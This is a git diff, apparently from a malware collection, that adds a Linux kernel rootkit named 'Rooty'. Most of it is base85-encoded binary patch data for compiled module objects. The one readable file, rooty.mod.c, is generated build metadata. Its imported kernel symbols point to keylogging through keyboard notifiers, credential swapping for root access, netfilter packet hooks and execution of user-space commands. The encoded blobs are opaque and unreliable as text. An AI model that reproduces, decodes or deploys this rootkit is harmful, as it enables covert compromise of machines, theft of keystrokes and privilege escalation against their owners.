z?Ya21&&tMc-t@ve4cW5*Q|F*iCe13Od;aVk{ua!|uigBeUBL5Mx8ZjRi*M3YZD}fv z7EGCn-`r{Vxt-po@hoc&e)4DYX9j+t1P3O-X{uJWJroN*7LtU#<)nIj<`l=eDhN@xedNo{)P-$wE zN>`)R7?q*Ms&VQDHC|0n6V;7slDbLVtTNRUHC1J)Y-Lx|)O3}jW~f`#ttwZ|RI}7< zm8Wh~b5y=6P=)Gtb%&a(=BfE=fm)~*sXLWJEmlQpi7Hkl%Bf1#QdOp0>Mm8TDpaL% zE06N3uPLAMtAGlsDz!{4S1Z)r>K?UHty1@*$n4WtUUOzl&mm^dzJr<8S0z7ZhIY%H zl1rzof;qe}b4->uXU438{H!^4yDp?z1$GwptiqXQ)t&^W*|~C_m1~~@SJr~bBNcqk zoV+}MCW|(0wWO?>c{XoRak(=v5r{@nRO0Zv?siTd92{<|EL!R+o;-N@aGT4k!Rzq_ zCP%k5yU*wG*<5I4=nrfGkBv2cqHVCNcT^l^Yb|t_owvP8Yc9yjtIDu3BC}C{zMXS? zT6yZwJJ8p-ZrkhNvrBu0+1*XwIX*wvUWZsC*QQgs(Ow6iUD_*kRX9hMxO}$3{_|Xe z4!*?Bt@e4jv!_qD&zWeORs<_0yq@SKZRjkA+m-}NOP#pXep_jqB>NdcMkiX;r0hmTiA8O@)A#xuf*neyJ$Y#hez3rq{ZWPx^;q>dRXPl zS(5fbx9faX!~SM^+^&Gf$GB%is=nV=v~{44zC5E&?1 zf)SEgFQoI*P0OkvRSM<*c|CQi!+}+TBEs*}#3mzB!$HIGKMnw01NC*9210>H7EMq0W z1YtYoGhWCjNGql}+aX@aC`bdIhpd3KLh>MSklpZSyF#f(NIhgR!_b*02V zS;3>(i;YPeoi=L34H+YrI^9m6t9XRB$Z5+*?}rJD!yJHlDu(^GapT9?kUczQQ`cZN z^g84@%nLt-7?_Zip)9ANoL+zoMLC^-JcAji3)9n)2(%XR9)um?e?k6yu~H5^FFOc{ z$D`Lm$X>{`eUy3_at1dx8GZ366LJ8O(NC#wLe4<)FGbvtOEDR}4{|@s=&~y@FN0im z6-Q9wJABRxXOZ6-ap~S!;g}~r(BX?QVGCSvaFzCVceT3|7ux4s z>hhzJJIXws^6te=U%|C^&qMex85+$bu5Ce7hPme z`U3CgI1l>ez?sX6%AJm&*THG6)6d?s`$tjsA0M&eH!p$1<3{RBx_K$4J@eB`!-aRj zxktZqCT*Of*yCN{DD`~pKSxMy)VmphBQW5`%PKc%bieheD!ZWQJ2 zS3aEW^>~97sJspi0HuBh@2k2KH~p+j^bPf+OT*-Bsl(+i^>jC&_*-|~)|YUL

      n{ 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 AZ2$lO literal 0 HcmV?d00001 diff --git a/Linux/Rootkits/Rooty/rooty.mod.c b/Linux/Rootkits/Rooty/rooty.mod.c new file mode 100644 index 0000000..916da90 --- /dev/null +++ b/Linux/Rootkits/Rooty/rooty.mod.c @@ -0,0 +1,76 @@ +#include +#include +#include + +MODULE_INFO(vermagic, VERMAGIC_STRING); + +struct module __this_module +__attribute__((section(".gnu.linkonce.this_module"))) = { + .name = KBUILD_MODNAME, + .init = init_module, +#ifdef CONFIG_MODULE_UNLOAD + .exit = cleanup_module, +#endif + .arch = MODULE_ARCH_INIT, +}; + +static const struct modversion_info ____versions[] +__used +__attribute__((section("__versions"))) = { + { 0xab465258, "module_layout" }, + { 0x81a5e22a, "kobject_del" }, + { 0xcdffd70a, "sock_release" }, + { 0xef9e3355, "sock_create" }, + { 0x806efb2e, "nf_unregister_hook" }, + { 0x597a8f75, "nf_register_hook" }, + { 0x5bfc03c3, "unregister_keyboard_notifier" }, + { 0xaac60944, "kthread_stop" }, + { 0x4d1cbe1e, "wake_up_process" }, + { 0x91dd4461, "kthread_create_on_node" }, + { 0x13b2a946, "register_keyboard_notifier" }, + { 0x362ef408, "_copy_from_user" }, + { 0x76584577, "call_usermodehelper_exec" }, + { 0x145a9a89, "call_usermodehelper_setfns" }, + { 0x4ff1c9bc, "populate_rootfs_wait" }, + { 0x29720c94, "send_sig_info" }, + { 0xc2a82694, "pid_task" }, + { 0xb57b00dd, "find_vpid" }, + { 0x548dd3f1, "filp_close" }, + { 0xef38dc8f, "filp_open" }, + { 0x12da5bb2, "__kmalloc" }, + { 0xb5fb870b, "commit_creds" }, + { 0x941ed3f8, "prepare_creds" }, + { 0x5152e605, "memcmp" }, + { 0x37a0cba, "kfree" }, + { 0x4c2ae700, "strnstr" }, + { 0x91715312, "sprintf" }, + { 0xf0fdf6cb, "__stack_chk_fail" }, + { 0xbd6d4a8a, "kmem_cache_alloc_trace" }, + { 0x4ec0494, "kmalloc_caches" }, + { 0x53f2d94, "pv_cpu_ops" }, + { 0xb742fd7, "simple_strtol" }, + { 0xe2d5255a, "strcmp" }, + { 0x73e20c1c, "strlcpy" }, + { 0xe45f60d8, "__wake_up" }, + { 0x50eedeb8, "printk" }, + { 0x19a9e62b, "complete" }, + { 0x35af86fa, "call_usermodehelper_freeinfo" }, + { 0x7e9ebb05, "kernel_thread" }, + { 0xe007de41, "kallsyms_lookup_name" }, + { 0x42dc7959, "vfs_write" }, + { 0x75bb675a, "finish_wait" }, + { 0x622fa02a, "prepare_to_wait" }, + { 0x4292364c, "schedule" }, + { 0xc8b57c27, "autoremove_wake_function" }, + { 0xd2965f6f, "kthread_should_stop" }, + { 0x5359bcde, "current_task" }, + { 0xb4390f9a, "mcount" }, +}; + +static const char __module_depends[] +__used +__attribute__((section(".modinfo"))) = +"depends="; + + +MODULE_INFO(srcversion, "360DBC2801F107CEFF8B9CD"); diff --git a/Linux/Rootkits/Rooty/rooty.mod.o b/Linux/Rootkits/Rooty/rooty.mod.o new file mode 100644 index 0000000000000000000000000000000000000000..2580163a7c7ef94ca40ad879cdc949c4a342b6ca GIT binary patch literal 4704 zcmeGgTWB3cbgoIXZK8eXk66kT(LS?Hn&vhY;v-LxwAR)_AL6)~JNMr0K4zVnO`2MK z{3r@iD#4F_l>P{|eh9^Y*eaqR74gR^Ez$-FQh&r+5D}}?bN11Dlk_&b_uGNlne&`8 zXU>_KomU1&hH|+aNlK11kt#&U=l4XE&0({K+)b7cCD|C4$`W30SD|B|uYXfdN9Ryy z$Cm!Vp`o6>t^EU}$bIe=RWAWX*DPDCx69aMbhK~T++OA$mlkXHO`hMiZAab}MH+aH zFpJoY6{~!qr;vv+_v{?{0MLQMsbfxvKu6}J{;r#O?=@SD9^g#VB6m{DC5%fh-1t@r zW>d)>ZYrMO)3&?2j$aMsndGLPx}6 zQgc~u3!4L%k0#?sOF)GO))!MQ#n8#q_uh0~=Ghan=ntbnneZoQNeY(+YGIenn$P&) zo-t-RPACb9z$@JGAqx0G&So*z0p2{e@4j2fE3Qjk3Rj-}`r6aJ@B;^emr5aYNzrlB zN}Yz2ZE~%Gt$-@4Of9b@>eyKiJ^9G{U-(v$YExy1`l`0e=u_mMS`R@7npd zpDkIAPnjdKXFnlFF7;duff|e^gpK-a%+{~FD+3`u+p(eW|dCGL1Z9GE1tQ%2UdQj)n zQeal>dhw|8rRC{T3hwzV-~9RS?-X`E6OIs8v1!S)G95y1J>`CCg99luS%uRu45*eS zOX-lw=3krR=!sNhjDX4Z$6Nd{%KU%|Kcg&qTq!c7);6(C$UZ`YR{zhx`TqHE?+V zWBz{q!|q${|Cmx~w&RvF$6vO&^teN#Q+)0O7l5CfzUwC&qE=0~iaKz0fpgq5-IUQw z$li%dePej$NUI?S>?@xMVE?yNCDXBWb5`q4Y#dGYKP|HB7%9Bdryz6j276O!hR*84 zQ|HV;3&~wE#-l(i1s>CI`%a@q(09K}?mwy`0w?1&Z2IipT`Z82d%B@B_}J2|AGu5f zUg{e|{aNAlqp>Wmuk(M(Z9FjC-~VWS&F)cHy

      r<(X3CHyZ_`tGzP_k=<(}m=FUJ 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 